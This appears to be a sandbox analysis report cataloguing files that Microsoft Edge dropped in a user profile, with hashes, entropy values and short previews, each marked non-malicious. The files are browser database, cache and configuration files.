Preview:	...m.................DB_VERSION.1.Fzx.................QUERY_TIMESTAMP:edge_hub_apps_manifest_gz4.7..13358379744721233.$QUERY:edge_hub_apps_manifest_gz4.7...[{"name":"edge_hub_apps_manifest_gz","url":"https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=Shoreline","version":{"major":4,"minor":7,"patch":107},"hash":"Qoxdh2pZS19o99emYo77uFsfzxtXVDB75kV6eln53YE=","size":1682291}]....................QUERY_TIMESTAMP:arbitration_priority_list4...13358379744733123.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.172157547595834
Encrypted:	false
SSDEEP:	6:3t+q2Pwkn23oH+Tcwt9Eh1tIFUt8mBXZmw+AVguf0v:YvYfYeb9Eh16FUt8kX/+Agv
MD5:	3DBC89CF3B868BA2F1F5190ACB109718
SHA1:	2E639E8639C0FAA36576D754F5249ABDDFBA2305
SHA-256:	FA2527FB9CB29CE8235E5064B1F6F0150F615A822C8C5DDE68B9ACA9A3C46A6A
SHA-512:	66586A29590285DB79D12123E86279EC974FD437AD9018F3A9F50934D0D54CE502B5DD08DFA211E56B9688EBA8BD987D7E48B73933F4C991AFA5018D2F122B73
Malicious:	false
Preview:	2024/04/23-23:05:18.288 25f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/04/23-23:05:18.923 25f8 Recovering log #3.2024/04/23-23:05:51.600 25f8 Level-0 table #3: started.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.172157547595834
Encrypted:	false
SSDEEP:	6:3t+q2Pwkn23oH+Tcwt9Eh1tIFUt8mBXZmw+AVguf0v:YvYfYeb9Eh16FUt8kX/+Agv
MD5:	3DBC89CF3B868BA2F1F5190ACB109718
SHA1:	2E639E8639C0FAA36576D754F5249ABDDFBA2305
SHA-256:	FA2527FB9CB29CE8235E5064B1F6F0150F615A822C8C5DDE68B9ACA9A3C46A6A
SHA-512:	66586A29590285DB79D12123E86279EC974FD437AD9018F3A9F50934D0D54CE502B5DD08DFA211E56B9688EBA8BD987D7E48B73933F4C991AFA5018D2F122B73
Malicious:	false
Preview:	2024/04/23-23:05:18.288 25f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/04/23-23:05:18.923 25f8 Recovering log #3.2024/04/23-23:05:51.600 25f8 Level-0 table #3: started.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl38FQK/l:Ls3sZl
MD5:	DA1B67E710E81167D3081B84CA3F9829
SHA1:	462A894D62925ACDEFDCD51C52CB0F539E376CB5
SHA-256:	E0C6FDE9C86B6C1A4C1291E664C7001ABE17A543AEFDA853CEEDC6F1CF9A4669
SHA-512:	C913C9CA894C659CBC77139221E51074D168CDFED77E4BDC8BDE0740AA39831689738152E33E4B56736BC3F8A5FAC7C617FB75F2D6FE87C0A3623352D619E2E9
Malicious:	false
Preview:	..........................................&`u/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	392643
Entropy (8bit):	5.409238725488786
Encrypted:	false
SSDEEP:	6144:iz/imJpx6WlPSwKWaHu5MURaYq49QxxanyEndBuHltBfdK5WNbsVEAiPqCfXtLPg:ip3MSq49UEndBuHltBfdK5WNbsVEAiPU
MD5:	400D0BFCD8404D14D5B4220B1E8DC028
SHA1:	6ACD09799B41778BA09601C06FCC1296ED24885B
SHA-256:	21F2D882AC8F37247930090DF1AF1DE7026053376C743756C0C795AE8FDE8C25
SHA-512:	B35493C00BEE1BF81118582872D3D0EBF6F7E14C8593374C3341C72D43CF1E9C0E9D96CF471228B6A68C3246EB8463B3E97EF84447DD528194A01AF2E01DB44A
Malicious:	false
Preview:	...m.................DB_VERSION.1V...................&QUERY_TIMESTAMP:domains_config_gz2...13358379741551009..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.75/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":75},"hash":"EwG2gkfquexLj6u3yjHyiL4YQwdU318k1Hub+1rSDMI=","size":391864}].xW..}...............ASSET_VERSION:domains_config_gz.2.8.75..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-k

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.153557808009047
Encrypted:	false
SSDEEP:	6:B3B1wkn23oH+Tcwtk2WwnvB2KLlRE+q2Pwkn23oH+Tcwtk2WwnvIFUv:BkfYebkxwnvFLLZvYfYebkxwnQFUv
MD5:	A95837FE52B567E0FAB6CA8B6B0980CC
SHA1:	163681F72F1036521C3F435A51A33A12ACDB4222
SHA-256:	4035A9D649A78BA4EBBF061019412F18FF73CD233A23CA4365CB83DE351D9D8A
SHA-512:	886BD750E104E68338D422815C108016B43058A6756B5ADA3D4F1FA29D61555D4B4FE0862B63C40BA7A117EECFA7B14D88E714DA3B4BB60885B1BA4FA2960576
Malicious:	false
Preview:	2024/04/23-23:02:20.851 2348 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/04/23-23:02:20.988 2348 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	374811
Entropy (8bit):	5.396155849379369
Encrypted:	false
SSDEEP:	6144:dWLgimLVvUrsc6rRA81b/18jyJNjfvrfM6RL:cLBgAg1zfvj
MD5:	4C0F1B83018BC7EA7899A459B2261268
SHA1:	404A2CCDD027086BAC581C0EF52DA402ED8E41D5
SHA-256:	3C02FB6726E6AE5D62A374E709C12419F8D32AF54CAC5E0C915E577B54ACFD1F
SHA-512:	53E55F7BEBF56EAD8B2446C0B1557178357CA81FFDEDE77FBF4D94D88F9D6D5712CDCBB844BE6FFF72EC024AB085CBC85AA02069DCAC79F0E5B8C18E79C03473
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\mhpndkmgbeollhlhekioinkiofjhnfki\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

